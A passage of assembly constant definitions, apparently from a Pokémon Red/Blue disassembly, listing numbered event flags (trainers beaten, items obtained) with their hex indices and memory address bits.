(D7AD, bit 2) const EVENT_333 ; 333, (D7AD, bit 3) const EVENT_334 ; 334, (D7AD, bit 4) const EVENT_335 ; 335, (D7AD, bit 5) const EVENT_336 ; 336, (D7AD, bit 6) const EVENT_337 ; 337, (D7AD, bit 7) const EVENT_338 ; 338, (D7AE, bit 0) const EVENT_339 ; 339, (D7AE, bit 1) const EVENT_33A ; 33A, (D7AE, bit 2) const EVENT_33B ; 33B, (D7AE, bit 3) const EVENT_33C ; 33C, (D7AE, bit 4) const EVENT_33D ; 33D, (D7AE, bit 5) const EVENT_33E ; 33E, (D7AE, bit 6) const EVENT_33F ; 33F, (D7AE, bit 7) const EVENT_GOT_TM31 ; 340, (D7AF, bit 0) const EVENT_341 ; 341, (D7AF, bit 1) const EVENT_342 ; 342, (D7AF, bit 2) const EVENT_343 ; 343, (D7AF, bit 3) const EVENT_344 ; 344, (D7AF, bit 4) const EVENT_345 ; 345, (D7AF, bit 5) const EVENT_346 ; 346, (D7AF, bit 6) const EVENT_347 ; 347, (D7AF, bit 7) const EVENT_348 ; 348, (D7B0, bit 0) const EVENT_349 ; 349, (D7B0, bit 1) const EVENT_34A ; 34A, (D7B0, bit 2) const EVENT_34B ; 34B, (D7B0, bit 3) const EVENT_34C ; 34C, (D7B0, bit 4) const EVENT_34D ; 34D, (D7B0, bit 5) const EVENT_34E ; 34E, (D7B0, bit 6) const EVENT_34F ; 34F, (D7B0, bit 7) const EVENT_DEFEATED_FIGHTING_DOJO ; 350, (D7B1, bit 0) const EVENT_BEAT_KARATE_MASTER ; 351, (D7B1, bit 1) const EVENT_BEAT_FIGHTING_DOJO_TRAINER_0 ; 352, (D7B1, bit 2) const EVENT_BEAT_FIGHTING_DOJO_TRAINER_1 ; 353, (D7B1, bit 3) const EVENT_BEAT_FIGHTING_DOJO_TRAINER_2 ; 354, (D7B1, bit 4) const EVENT_BEAT_FIGHTING_DOJO_TRAINER_3 ; 355, (D7B1, bit 5) const EVENT_GOT_HITMONLEE ; 356, (D7B1, bit 6) const EVENT_GOT_HITMONCHAN ; 357, (D7B1, bit 7) const EVENT_358 ; 358, (D7B2, bit 0) const EVENT_359 ; 359, (D7B2, bit 1) const EVENT_35A ; 35A, (D7B2, bit 2) const EVENT_35B ; 35B, (D7B2, bit 3) const EVENT_35C ; 35C, (D7B2, bit 4) const EVENT_35D ; 35D, (D7B2, bit 5) const EVENT_35E ; 35E, (D7B2, bit 6) const EVENT_35F ; 35F, (D7B2, bit 7) const EVENT_GOT_TM46 ; 360, (D7B3, bit 0) const EVENT_BEAT_SABRINA ; 361, (D7B3, bit 1) const EVENT_BEAT_SAFFRON_GYM_TRAINER_0 ; 362, (D7B3, bit 2) const EVENT_BEAT_SAFFRON_GYM_TRAINER_1 ; 363, (D7B3, bit 3) const EVENT_BEAT_SAFFRON_GYM_TRAINER_2 ; 364, (D7B3, bit 4) const EVENT_BEAT_SAFFRON_GYM_TRAINER_3 ; 365, (D7B3, bit 5) const EVENT_BEAT_SAFFRON_GYM_TRAINER_4 ; 366, (D7B3, bit 6) const EVENT_BEAT_SAFFRON_GYM_TRAINER_5 ; 367, (D7B3, bit 7) const EVENT_BEAT_SAFFRON_GYM_TRAINER_6 ; 368, (D7B4, bit 0) const EVENT_369 ; 369, (D7B4, bit 1) const EVENT_36A ; 36A, (D7B4, bit 2) const EVENT_36B ; 36B, (D7B4, bit 3) const EVENT_36C ; 36C, (D7B4, bit 4) const EVENT_36D ; 36D, (D7B4, bit 5) const EVENT_36E ; 36E, (D7B4, bit 6) const EVENT_36F ; 36F, (D7B4, bit 7) const EVENT_370 ; 370, (D7B5, bit 0) const EVENT_371 ; 371, (D7B5, bit 1) const EVENT_372 ; 372, (D7B5, bit 2) const EVENT_373 ; 373, (D7B5, bit 3) const EVENT_374 ; 374, (D7B5, bit 4) const EVENT_375 ; 375, (D7B5, bit 5) const EVENT_376 ; 376, (D7B5, bit 6) const EVENT_377 ; 377, (D7B5, bit 7) const EVENT_378 ; 378, (D7B6, bit 0) const EVENT_379 ; 379, (D7B6, bit 1) const EVENT_37A ; 37A, (D7B6, bit 2) const EVENT_37B ; 37B, (D7B6, bit 3) const EVENT_37C ; 37C, (D7B6, bit 4) const EVENT_37D ; 37D, (D7B6, bit 5) const EVENT_37E ; 37E, (D7B6, bit 6) const EVENT_37F ; 37F, (D7B6, bit 7) const EVENT_380 ; 380, (D7B7, bit 0) const EVENT_381 ; 381, (D7B7, bit 1) const EVENT_382 ; 382, (D7B7, bit 2) const EVENT_383 ; 383, (D7B7, bit 3) const EVENT_384 ; 384, (D7B7, bit 4) const EVENT_385 ; 385, (D7B7, bit 5) const EVENT_386 ; 386, (D7B7, bit 6) const EVENT_387 ; 387, (D7B7, bit 7) const EVENT_388 ; 388, (D7B8, bit 0) const EVENT_389 ; 389, (D7B8, bit 1) const EVENT_38A ; 38A, (D7B8, bit 2) const EVENT_38B ; 38B, (D7B8, bit 3) const EVENT_38C ; 38C, (D7B8, bit 4) const EVENT_38D ; 38D, (D7B8, bit 5) const EVENT_38E ; 38E, (D7B8, bit 6) const EVENT_38F ; 38F, (D7B8, bit 7) const EVENT_390 ; 390, (D7B9, bit 0) const EVENT_391 ; 391, (D7B9, bit 1) const EVENT_392 ; 392, (D7B9, bit 2) const EVENT_393 ; 393, (D7B9, bit 3) const EVENT_394 ; 394, (D7B9, bit 4) const EVENT_395 ; 395, (D7B9, bit 5) const EVENT_396 ; 396, (D7B9, bit 6) const EVENT_SILPH_CO_RECEPTIONIST_AT_DESK ; 397, (D7B9, bit 7) const EVENT_398 ; 398, (D7BA, bit 0) const EVENT_399 ; 399, (D7BA, bit 1) const EVENT_39A ; 39A, (D7BA, bit 2) const EVENT_39B ; 39B, (D7BA, bit 3) const EVENT_39C ; 39C, (D7BA, bit 4) const EVENT_39D ; 39D, (D7BA, bit 5) const EVENT_39E ; 39E, (D7BA, bit 6) const EVENT_39F ; 39F, (D7BA, bit 7) const EVENT_3A0 ; 3A0, (D7BB, bit 0) const EVENT_3A1 ; 3A1, (D7BB, bit 1) const EVENT_3A2 ; 3A2, (D7BB, bit 2) const EVENT_3A3 ; 3A3, (D7BB, bit 3) const EVENT_3A4 ; 3A4, (D7BB, bit 4) const EVENT_3A5 ; 3A5, (D7BB, bit 5) const EVENT_3A6 ; 3A6, (D7BB, bit 6) const EVENT_3A7 ; 3A7, (D7BB, bit 7) const EVENT_3A8 ; 3A8, (D7BC, bit 0) const EVENT_3A9 ; 3A9, (D7BC, bit 1) const EVENT_3AA ; 3AA, (D7BC, bit 2) const EVENT_3AB ; 3AB, (D7BC, bit 3) const EVENT_3AC ; 3AC, (D7BC, bit 4) const EVENT_3AD ; 3AD, (D7BC, bit 5) const EVENT_3AE ; 3AE, (D7BC, bit 6) const EVENT_3AF ; 3AF, (D7BC, bit 7) const EVENT_GOT_TM29 ; 3B0, (D7BD, bit 0) const EVENT_3B1 ; 3B1, (D7BD, bit 1) const EVENT_3B2 ; 3B2, (D7BD, bit 2) const EVENT_3B3 ; 3B3, (D7BD, bit 3) const EVENT_3B4 ; 3B4, (D7BD, bit 4) const EVENT_3B5 ; 3B5, (D7BD, bit 5) const EVENT_3B6 ; 3B6, (D7BD, bit 6) const EVENT_3B7 ; 3B7, (D7BD, bit 7) const EVENT_3B8 ; 3B8, (D7BE, bit 0) const EVENT_3B9 ; 3B9, (D7BE, bit 1) const EVENT_3BA ; 3BA, (D7BE, bit 2) const EVENT_3BB ; 3BB, (D7BE, bit 3) const EVENT_3BC ; 3BC, (D7BE, bit 4) const EVENT_3BD ; 3BD, (D7BE, bit 5) const EVENT_3BE ; 3BE, (D7BE, bit 6) const EVENT_3BF ; 3BF, (D7BE, bit 7) const EVENT_GOT_POTION_SAMPLE ; 3C0, (D7BF, bit 0) const EVENT_3C1 ; 3C1, (D7BF, bit 1) const EVENT_3C2 ; 3C2, (D7BF, bit 2) const EVENT_3C3 ; 3C3, (D7BF, bit 3) const EVENT_3C4 ; 3C4, (D7BF, bit 4) const EVENT_3C5 ; 3C5, (D7BF, bit 5) const EVENT_3C6 ; 3C6, (D7BF, bit 6) const EVENT_3C7 ; 3C7, (D7BF, bit 7) const EVENT_3C8 ; 3C8, (D7C0, bit 0) const EVENT_3C9 ; 3C9, (D7C0, bit 1) const EVENT_3CA ; 3CA, (D7C0, bit 2) const EVENT_3CB ; 3CB, (D7C0, bit 3) const EVENT_3CC ; 3CC, (D7C0, bit 4) const EVENT_3CD ; 3CD, (D7C0, bit 5) const EVENT_3CE ; 3CE, (D7C0, bit 6) const EVENT_3CF ; 3CF, (D7C0, bit 7) const EVENT_3D0 ; 3D0, (D7C1, bit 0) const EVENT_3D1 ; 3D1, (D7C1, bit 1) const EVENT_3D2 ; 3D2, (D7C1, bit 2) const EVENT_3D3 ; 3D3, (D7C1, bit 3) const EVENT_3D4 ; 3D4, (D7C1, bit 4) const EVENT_3D5 ; 3D5, (D7C1, bit 5) const EVENT_3D6 ; 3D6, (D7C1, bit 6) const EVENT_3D7 ; 3D7, (D7C1, bit 7) const EVENT_GOT_HM05 ; 3D8, (D7C2, bit 0) const EVENT_3D9 ; 3D9, (D7C2, bit 1) const EVENT_3DA ; 3DA, (D7C2, bit 2) const EVENT_3DB ; 3DB, (D7C2, bit 3) const EVENT_3DC ; 3DC, (D7C2, bit 4) const EVENT_3DD ; 3DD, (D7C2, bit 5) const EVENT_3DE ; 3DE, (D7C2, bit 6) const EVENT_3DF ; 3DF, (D7C2, bit 7) const EVENT_3E0 ; 3E0, (D7C3, bit 0) const EVENT_3E1 ; 3E1, (D7C3, bit 1) const EVENT_BEAT_ROUTE_3_TRAINER_0 ; 3E2, (D7C3, bit 2) const EVENT_BEAT_ROUTE_3_TRAINER_1 ; 3E3, (D7C3, bit 3) const EVENT_BEAT_ROUTE_3_TRAINER_2 ; 3E4, (D7C3, bit 4) const EVENT_BEAT_ROUTE_3_TRAINER_3 ; 3E5, (D7C3, bit 5) const EVENT_BEAT_ROUTE_3_TRAINER_4 ; 3E6, (D7C3, bit 6) const EVENT_BEAT_ROUTE_3_TRAINER_5 ; 3E7, (D7C3, bit 7) const EVENT_BEAT_ROUTE_3_TRAINER_6 ; 3E8, (D7C4, bit 0) const EVENT_BEAT_ROUTE_3_TRAINER_7 ; 3E9, (D7C4, bit 1) const EVENT_3EA ; 3EA, (D7C4, bit 2) const EVENT_3EB ; 3EB, (D7C4, bit 3) const EVENT_3EC ; 3EC, (D7C4, bit 4) const EVENT_3ED ; 3ED, (D7C4, bit 5) const EVENT_3EE ; 3EE, (D7C4, bit 6) const EVENT_3EF ; 3EF, (D7C4, bit 7) const EVENT_3F0 ; 3F0, (D7C5, bit 0) const EVENT_3F1 ; 3F1, (D7C5, bit 1) const EVENT_BEAT_ROUTE_4_TRAINER_0 ; 3F2, (D7C5, bit 2) const EVENT_3F3 ; 3F3, (D7C5, bit 3) const EVENT_3F4 ; 3F4, (D7C5, bit 4) const EVENT_3F5 ; 3F5, (D7C5, bit 5) const EVENT_3F6 ; 3F6, (D7C5, bit 6) const EVENT_3F7 ; 3F7, (D7C5, bit 7) const EVENT_3F8 ; 3F8, (D7C6, bit 0) const EVENT_3F9 ; 3F9, (D7C6, bit 1) const EVENT_3FA ; 3FA, (D7C6, bit 2) const EVENT_3FB ; 3FB, (D7C6, bit 3) const EVENT_3FC ; 3FC, (D7C6, bit 4) const EVENT_3FD ; 3FD, (D7C6, bit 5) const EVENT_3FE ; 3FE, (D7C6, bit 6) const EVENT_BOUGHT_MAGIKARP ; 3FF, (D7C6, bit 7) const EVENT_400 ; 400, (D7C7, bit 0) const EVENT_401 ; 401, (D7C7, bit 1) const EVENT_402 ; 402, (D7C7, bit 2) const EVENT_403 ; 403, (D7C7, bit 3) const EVENT_404 ; 404, (D7C7, bit 4) const EVENT_405 ; 405, (D7C7, bit 5) const EVENT_406 ; 406, (D7C7, bit 6) const EVENT_407 ; 407, (D7C7, bit 7) const EVENT_408 ; 408, (D7C8, bit 0) const EVENT_409 ; 409, (D7C8, bit 1) const EVENT_40A ; 40A, (D7C8, bit 2) const EVENT_40B ; 40B, (D7C8, bit 3) const EVENT_40C ; 40C, (D7C8, bit 4) const EVENT_40D ; 40D, (D7C8, bit 5) const EVENT_40E ; 40E, (D7C8, bit 6) const EVENT_40F ; 40F, (D7C8, bit 7) const EVENT_410 ; 410, (D7C9, bit 0) const EVENT_BEAT_ROUTE_6_TRAINER_0 ; 411, (D7C9, bit 1) const EVENT_BEAT_ROUTE_6_TRAINER_1 ; 412, (D7C9, bit 2) const EVENT_BEAT_ROUTE_6_TRAINER_2 ; 413, (D7C9, bit 3) const EVENT_BEAT_ROUTE_6_TRAINER_3 ; 414, (D7C9, bit 4) const EVENT_BEAT_ROUTE_6_TRAINER_4 ; 415, (D7C9, bit 5) const EVENT_BEAT_ROUTE_6_TRAINER_5 ; 416, (D7C9, bit 6) const EVENT_417 ; 417, (D7C9, bit 7) const EVENT_418 ; 418, (D7CA, bit 0) const EVENT_419 ; 419, (D7CA, bit 1) const EVENT_41A ; 41A, (D7CA, bit 2) const EVENT_41B ; 41B, (D7CA, bit 3) const EVENT_41C ; 41C, (D7CA, bit 4) const EVENT_41D ; 41D, (D7CA, bit 5) const EVENT_41E ; 41E, (D7CA, bit 6) const EVENT_41F ; 41F, (D7CA, bit 7) const EVENT_420 ; 420, (D7CB, bit 0) const EVENT_421 ; 421, (D7CB, bit 1) const EVENT_422 ; 422, (D7CB, bit 2) const EVENT_423 ; 423, (D7CB, bit 3) const EVENT_424 ; 424, (D7CB, bit 4) const EVENT_425 ; 425, (D7CB, bit 5) const EVENT_426 ; 426, (D7CB, bit 6) const EVENT_427 ; 427, (D7CB, bit 7) const EVENT_428 ; 428, (D7CC, bit 0) const EVENT_429 ; 429, (D7CC, bit 1) const EVENT_42A ; 42A, (D7CC, bit 2) const EVENT_42B ; 42B, (D7CC, bit 3) const EVENT_42C ; 42C, (D7CC, bit 4) const EVENT_42D ; 42D, (D7CC, bit 5) const EVENT_42E ; 42E, (D7CC, bit 6) const EVENT_42F ; 42F, (D7CC, bit 7) const EVENT_430 ; 430, (D7CD, bit 0) const EVENT_BEAT_ROUTE_8_TRAINER_0 ; 431, (D7CD, bit 1) const EVENT_BEAT_ROUTE_8_TRAINER_1 ; 432, (D7CD, bit 2) const EVENT_BEAT_ROUTE_8_TRAINER_2 ; 433, (D7CD, bit 3) const EVENT_BEAT_ROUTE_8_TRAINER_3 ; 434, (D7CD, bit 4) const EVENT_BEAT_ROUTE_8_TRAINER_4 ; 435, (D7CD, bit 5) const EVENT_BEAT_ROUTE_8_TRAINER_5 ; 436, (D7CD, bit 6) const EVENT_BEAT_ROUTE_8_TRAINER_6 ; 437, (D7CD, bit 7) const EVENT_BEAT_ROUTE_8_TRAINER_7 ; 438, (D7CE, bit 0) const EVENT_BEAT_ROUTE_8_TRAINER_8 ; 439, (D7CE, bit 1) const EVENT_43A ; 43A, (D7CE, bit 2) const EVENT_43B ; 43B, (D7CE, bit 3) const EVENT_43C ; 43C, (D7CE, bit 4) const EVENT_43D ; 43D, (D7CE, bit 5) const EVENT_43E ; 43E, (D7CE, bit 6) const EVENT_43F ; 43F, (D7CE, bit 7) const EVENT_440 ; 440, (D7CF, bit 0) const EVENT_BEAT_ROUTE_9_TRAINER_0 ; 441, (D7CF, bit 1) const EVENT_BEAT_ROUTE_9_TRAINER_1 ; 442, (D7CF, bit 2) const EVENT_BEAT_ROUTE_9_TRAINER_2 ; 443, (D7CF, bit 3) const EVENT_BEAT_ROUTE_9_TRAINER_3 ; 444, (D7CF, bit 4) const EVENT_BEAT_ROUTE_9_TRAINER_4 ; 445, (D7CF, bit 5) const EVENT_BEAT_ROUTE_9_TRAINER_5 ; 446, (D7CF, bit 6) const EVENT_BEAT_ROUTE_9_TRAINER_6 ; 447, (D7CF, bit 7) const EVENT_BEAT_ROUTE_9_TRAINER_7 ; 448, (D7D0, bit 0) const EVENT_BEAT_ROUTE_9_TRAINER_8 ; 449, (D7D0, bit 1) const EVENT_44A ; 44A, (D7D0, bit 2) const EVENT_44B ; 44B, (D7D0, bit 3) const EVENT_44C ; 44C, (D7D0, bit 4) const EVENT_44D ; 44D, (D7D0, bit 5) const EVENT_44E ; 44E, (D7D0, bit 6) const EVENT_44F ; 44F, (D7D0, bit 7) const EVENT_450 ; 450, (D7D1, bit 0) const EVENT_BEAT_ROUTE_10_TRAINER_0 ; 451, (D7D1, bit 1) const EVENT_BEAT_ROUTE_10_TRAINER_1 ; 452, (D7D1, bit 2) const EVENT_BEAT_ROUTE_10_TRAINER_2 ; 453, (D7D1, bit 3) const EVENT_BEAT_ROUTE_10_TRAINER_3 ; 454, (D7D1, bit 4) const EVENT_BEAT_ROUTE_10_TRAINER_4 ; 455, (D7D1, bit 5) const EVENT_BEAT_ROUTE_10_TRAINER_5 ; 456, (D7D1, bit 6) const EVENT_457 ; 457, (D7D1, bit 7) const EVENT_458 ; 458, (D7D2, bit 0) const EVENT_BEAT_ROCK_TUNNEL_1_TRAINER_0 ; 459, (D7D2, bit 1) const EVENT_BEAT_ROCK_TUNNEL_1_TRAINER_1 ; 45A, (D7D2, bit 2) const EVENT_BEAT_ROCK_TUNNEL_1_TRAINER_2 ; 45B, (D7D2, bit 3) const EVENT_BEAT_ROCK_TUNNEL_1_TRAINER_3 ; 45C, (D7D2, bit 4) const EVENT_BEAT_ROCK_TUNNEL_1_TRAINER_4 ; 45D, (D7D2, bit 5) const EVENT_BEAT_ROCK_TUNNEL_1_TRAINER_5 ; 45E, (D7D2, bit 6) const EVENT_BEAT_ROCK_TUNNEL_1_TRAINER_6 ; 45F, (D7D2, bit 7) const EVENT_460 ; 460, (D7D3, bit 0) const EVENT_BEAT_POWER_PLANT_VOLTORB_0 ; 461, (D7D3, bit 1) const EVENT_BEAT_POWER_PLANT_VOLTORB_1 ; 462, (D7D3, bit 2) const EVENT_BEAT_POWER_PLANT_VOLTORB_2 ; 463, (D7D3, bit 3) const EVENT_BEAT_POWER_PLANT_VOLTORB_3 ; 464, (D7D3, bit 4) const EVENT_BEAT_POWER_PLANT_VOLTORB_4 ; 465, (D7D3, bit 5) const EVENT_BEAT_POWER_PLANT_VOLTORB_5 ; 466, (D7D3, bit 6) const EVENT_BEAT_POWER_PLANT_VOLTORB_6 ; 467, (D7D3, bit 7) const EVENT_BEAT_POWER_PLANT_VOLTORB_7 ; 468, (D7D4, bit 0) const EVENT_BEAT_ZAPDOS ; 469, (D7D4, bit 1) const EVENT_46A ; 46A, (D7D4, bit 2) const EVENT_46B ; 46B, (D7D4, bit 3) const EVENT_46C ; 46C, (D7D4, bit 4) const EVENT_46D ; 46D, (D7D4, bit 5) const EVENT_46E ; 46E, (D7D4, bit 6) const EVENT_46F ; 46F, (D7D4, bit 7) const EVENT_470 ; 470, (D7D5, bit 0) const EVENT_BEAT_ROUTE_11_TRAINER_0 ; 471, (D7D5, bit 1) const EVENT_BEAT_ROUTE_11_TRAINER_1 ; 472, (D7D5, bit 2) const EVENT_BEAT_ROUTE_11_TRAINER_2 ; 473, (D7D5, bit 3) const EVENT_BEAT_ROUTE_11_TRAINER_3 ; 474, (D7D5, bit 4) const EVENT_BEAT_ROUTE_11_TRAINER_4 ; 475, (D7D5, bit 5) const EVENT_BEAT_ROUTE_11_TRAINER_5 ; 476, (D7D5, bit 6) const EVENT_BEAT_ROUTE_11_TRAINER_6 ; 477, (D7D5, bit 7) const EVENT_BEAT_ROUTE_11_TRAINER_7 ; 478, (D7D6, bit 0) const EVENT_BEAT_ROUTE_11_TRAINER_8 ; 479, (D7D6, bit 1) const EVENT_BEAT_ROUTE_11_TRAINER_9 ; 47A, (D7D6, bit 2) const EVENT_47B ; 47B, (D7D6, bit 3) const EVENT_47C ; 47C, (D7D6, bit 4) const EVENT_47D ; 47D, (D7D6, bit 5) const EVENT_47E ; 47E, (D7D6, bit 6) const EVENT_GOT_ITEMFINDER ; 47F, (D7D6, bit 7) const EVENT_GOT_TM39 ; 480, (D7D7, bit 0) const EVENT_481 ; 481, (D7D7, bit 1) const EVENT_BEAT_ROUTE_12_TRAINER_0 ; 482, (D7D7, bit 2) const EVENT_BEAT_ROUTE_12_TRAINER_1 ; 483, (D7D7, bit 3) const EVENT_BEAT_ROUTE_12_TRAINER_2 ; 484, (D7D7, bit 4) const EVENT_BEAT_ROUTE_12_TRAINER_3 ; 485, (D7D7, bit 5) const EVENT_BEAT_ROUTE_12_TRAINER_4 ; 486, (D7D7, bit 6) const EVENT_BEAT_ROUTE_12_TRAINER_5 ; 487, (D7D7, bit 7) const EVENT_BEAT_ROUTE_12_TRAINER_6 ; 488, (D7D8, bit 0) const EVENT_489 ; 489, (D7D8, bit 1) const EVENT_48A ; 48A, (D7D8, bit 2) const EVENT_48B ; 48B, (D7D8, bit 3) const EVENT_48C ; 48C, (D7D8, bit 4) const EVENT_48D ; 48D, (D7D8, bit 5) const EVENT_FIGHT_ROUTE12_SNORLAX ; 48E, (D7D8, bit 6) const EVENT_BEAT_ROUTE12_SNORLAX ; 48F, (D7D8, bit 7) const EVENT_490 ; 490, (D7D9, bit 0) const EVENT_BEAT_ROUTE_13_TRAINER_0 ; 491, (D7D9, bit 1) const EVENT_BEAT_ROUTE_13_TRAINER_1 ; 492, (D7D9, bit 2) const EVENT_BEAT_ROUTE_13_TRAINER_2 ; 493, (D7D9, bit 3) const EVENT_BEAT_ROUTE_13_TRAINER_3 ; 494, (D7D9, bit 4) const EVENT_BEAT_ROUTE_13_TRAINER_4 ; 495, (D7D9, bit 5) const EVENT_BEAT_ROUTE_13_TRAINER_5 ; 496, (D7D9, bit 6) const EVENT_BEAT_ROUTE_13_TRAINER_6 ; 497, (D7D9, bit 7) const EVENT_BEAT_ROUTE_13_TRAINER_7 ; 498, (D7DA, bit 0) const EVENT_BEAT_ROUTE_13_TRAINER_8 ; 499, (D7DA, bit 1) const EVENT_BEAT_ROUTE_13_TRAINER_9 ; 49A, (D7DA, bit 2) const EVENT_49B ; 49B, (D7DA, bit 3) const EVENT_49C ; 49C, (D7DA, bit 4) const EVENT_49D ; 49D, (D7DA, bit 5) const EVENT_49E ; 49E, (D7DA, bit 6) const EVENT_49F ; 49F, (D7DA, bit 7) const EVENT_4A0 ; 4A0, (D7DB, bit 0) const EVENT_BEAT_ROUTE_14_TRAINER_0 ; 4A1, (D7DB, bit 1) const EVENT_BEAT_ROUTE_14_TRAINER_1 ; 4A2, (D7DB, bit 2) const EVENT_BEAT_ROUTE_14_TRAINER_2 ; 4A3, (D7DB, bit 3) const EVENT_BEAT_ROUTE_14_TRAINER_3 ; 4A4, (D7DB, bit 4) const EVENT_BEAT_ROUTE_14_TRAINER_4 ; 4A5, (D7DB, bit 5) const EVENT_BEAT_ROUTE_14_TRAINER_5 ; 4A6, (D7DB, bit 6) const EVENT_BEAT_ROUTE_14_TRAINER_6 ; 4A7, (D7DB, bit 7) const EVENT_BEAT_ROUTE_14_TRAINER_7 ; 4A8, (D7DC, bit 0) const EVENT_BEAT_ROUTE_14_TRAINER_8 ; 4A9, (D7DC, bit 1) const EVENT_BEAT_ROUTE_14_TRAINER_9 ; 4AA, (D7DC, bit 2) const EVENT_4AB ; 4AB, (D7DC, bit 3) const EVENT_4AC ; 4AC, (D7DC, bit 4) const EVENT_4AD ; 4AD, (D7DC, bit 5) const EVENT_4AE ; 4AE, (D7DC, bit 6) const EVENT_4AF ; 4AF, (D7DC, bit 7) const EVENT_GOT_EXP_ALL ; 4B0, (D7DD, bit 0) const EVENT_BEAT_ROUTE_15_TRAINER_0 ; 4B1, (D7DD, bit 1) const EVENT_BEAT_ROUTE_15_TRAINER_1 ; 4B2, (D7DD, bit 2) const EVENT_BEAT_ROUTE_15_TRAINER_2 ; 4B3, (D7DD, bit 3) const EVENT_BEAT_ROUTE_15_TRAINER_3 ; 4B4, (D7DD, bit 4) const EVENT_BEAT_ROUTE_15_TRAINER_4 ; 4B5, (D7DD, bit 5) const EVENT_BEAT_ROUTE_15_TRAINER_5 ; 4B6, (D7DD, bit 6) const EVENT_BEAT_ROUTE_15_TRAINER_6 ; 4B7, (D7DD, bit 7) const EVENT_BEAT_ROUTE_15_TRAINER_7 ; 4B8, (D7DE, bit 0) const EVENT_BEAT_ROUTE_15_TRAINER_8 ; 4B9, (D7DE, bit 1) const EVENT_BEAT_ROUTE_15_TRAINER_9 ; 4BA, (D7DE, bit 2) const EVENT_4BB ; 4BB, (D7DE, bit 3) const EVENT_4BC ; 4BC, (D7DE, bit 4) const EVENT_4BD ; 4BD, (D7DE, bit 5) const EVENT_4BE ; 4BE, (D7DE, bit 6) const EVENT_4BF ; 4BF, (D7DE, bit 7) const EVENT_4C0 ; 4C0, (D7DF, bit 0) const EVENT_BEAT_ROUTE_16_TRAINER_0 ; 4C1, (D7DF, bit 1) const EVENT_BEAT_ROUTE_16_TRAINER_1 ; 4C2, (D7DF, bit 2) const EVENT_BEAT_ROUTE_16_TRAINER_2 ; 4C3, (D7DF, bit 3) const EVENT_BEAT_ROUTE_16_TRAINER_3 ; 4C4, (D7DF, bit 4) const EVENT_BEAT_ROUTE_16_TRAINER_4 ; 4C5, (D7DF, bit 5) const EVENT_BEAT_ROUTE_16_TRAINER_5 ; 4C6, (D7DF, bit 6) const EVENT_4C7 ; 4C7, (D7DF, bit 7) const EVENT_FIGHT_ROUTE16_SNORLAX ; 4C8, (D7E0, bit 0) const EVENT_BEAT_ROUTE16_SNORLAX ; 4C9, (D7E0, bit 1) const EVENT_4CA ; 4CA, (D7E0, bit 2) const EVENT_4CB ; 4CB, (D7E0, bit 3) const EVENT_4CC ; 4CC, (D7E0, bit 4) const EVENT_4CD ; 4CD, (D7E0, bit 5) const EVENT_GOT_HM02 ; 4CE, (D7E0, bit 6) const EVENT_RESCUED_MR_FUJI ; 4CF, (D7E0, bit 7) const EVENT_4D0 ; 4D0, (D7E1, bit 0) const EVENT_BEAT_ROUTE_17_TRAINER_0 ; 4D1, (D7E1, bit 1) const EVENT_BEAT_ROUTE_17_TRAINER_1 ; 4D2, (D7E1, bit 2) const EVENT_BEAT_ROUTE_17_TRAINER_2 ; 4D3, (D7E1, bit 3) const EVENT_BEAT_ROUTE_17_TRAINER_3 ; 4D4, (D7E1, bit 4) const EVENT_BEAT_ROUTE_17_TRAINER_4 ; 4D5, (D7E1, bit 5) const EVENT_BEAT_ROUTE_17_TRAINER_5 ; 4D6, (D7E1, bit 6) const EVENT_BEAT_ROUTE_17_TRAINER_6 ; 4D7, (D7E1, bit 7) const EVENT_BEAT_ROUTE_17_TRAINER_7 ; 4D8, (D7E2, bit 0) const EVENT_BEAT_ROUTE_17_TRAINER_8 ; 4D9, (D7E2, bit 1) const EVENT_BEAT_ROUTE_17_TRAINER_9 ; 4DA, (D7E2, bit 2) const EVENT_4DB ; 4DB, (D7E2, bit 3) const EVENT_4DC ; 4DC, (D7E2, bit 4) const EVENT_4DD ; 4DD, (D7E2, bit 5) const EVENT_4DE ; 4DE, (D7E2, bit 6) const EVENT_4DF ; 4DF, (D7E2, bit 7) const EVENT_4E0 ; 4E0, (D7E3, bit 0) const EVENT_BEAT_ROUTE_18_TRAINER_0 ; 4E1, (D7E3, bit 1) const EVENT_BEAT_ROUTE_18_TRAINER_1 ; 4E2, (D7E3, bit 2) const EVENT_BEAT_ROUTE_18_TRAINER_2 ; 4E3, (D7E3, bit 3) const EVENT_4E4 ; 4E4, (D7E3, bit 4) const EVENT_4E5 ; 4E5, (D7E3, bit 5) const EVENT_4E6 ; 4E6, (D7E3, bit 6) const EVENT_4E7 ; 4E7, (D7E3, bit 7) const EVENT_4E8 ; 4E8, (D7E4, bit 0) const EVENT_4E9 ; 4E9, (D7E4, bit 1) const EVENT_4EA ; 4EA, (D7E4, bit 2) const EVENT_4EB ; 4EB, (D7E4, bit 3) const EVENT_4EC ; 4EC, (D7E4, bit 4) const EVENT_4ED ; 4ED, (D7E4, bit 5) const EVENT_4EE ; 4EE, (D7E4, bit 6) const EVENT_4EF ; 4EF, (D7E4, bit 7) const EVENT_4F0 ; 4F0, (D7E5, bit 0) const EVENT_BEAT_ROUTE_19_TRAINER_0 ; 4F1, (D7E5, bit 1) const EVENT_BEAT_ROUTE_19_TRAINER_1 ; 4F2, (D7E5, bit 2) const EVENT_BEAT_ROUTE_19_TRAINER_2 ; 4F3, (D7E5, bit 3) const EVENT_BEAT_ROUTE_19_TRAINER_3 ; 4F4, (D7E5, bit 4) const EVENT_BEAT_ROUTE_19_TRAINER_4 ; 4F5, (D7E5, bit 5) const EVENT_BEAT_ROUTE_19_TRAINER_5 ; 4F6, (D7E5, bit 6) const EVENT_BEAT_ROUTE_19_TRAINER_6 ; 4F7, (D7E5, bit 7) const EVENT_BEAT_ROUTE_19_TRAINER_7 ; 4F8, (D7E6, bit 0) const EVENT_BEAT_ROUTE_19_TRAINER_8 ; 4F9, (D7E6, bit 1) const EVENT_BEAT_ROUTE_19_TRAINER_9 ; 4FA, (D7E6, bit 2) const EVENT_4FB ; 4FB, (D7E6, bit 3) const EVENT_4FC ; 4FC, (D7E6, bit 4) const EVENT_4FD ; 4FD, (D7E6, bit 5) const EVENT_4FE ; 4FE, (D7E6, bit 6) const EVENT_4FF ; 4FF, (D7E6, bit 7) const EVENT_IN_SEAFOAM_ISLANDS ; 500, (D7E7, bit 0) const EVENT_BEAT_ROUTE_20_TRAINER_0 ; 501, (D7E7, bit 1) const EVENT_BEAT_ROUTE_20_TRAINER_1 ; 502, (D7E7, bit 2) const EVENT_BEAT_ROUTE_20_TRAINER_2 ; 503, (D7E7, bit 3) const EVENT_BEAT_ROUTE_20_TRAINER_3 ; 504, (D7E7, bit 4) const 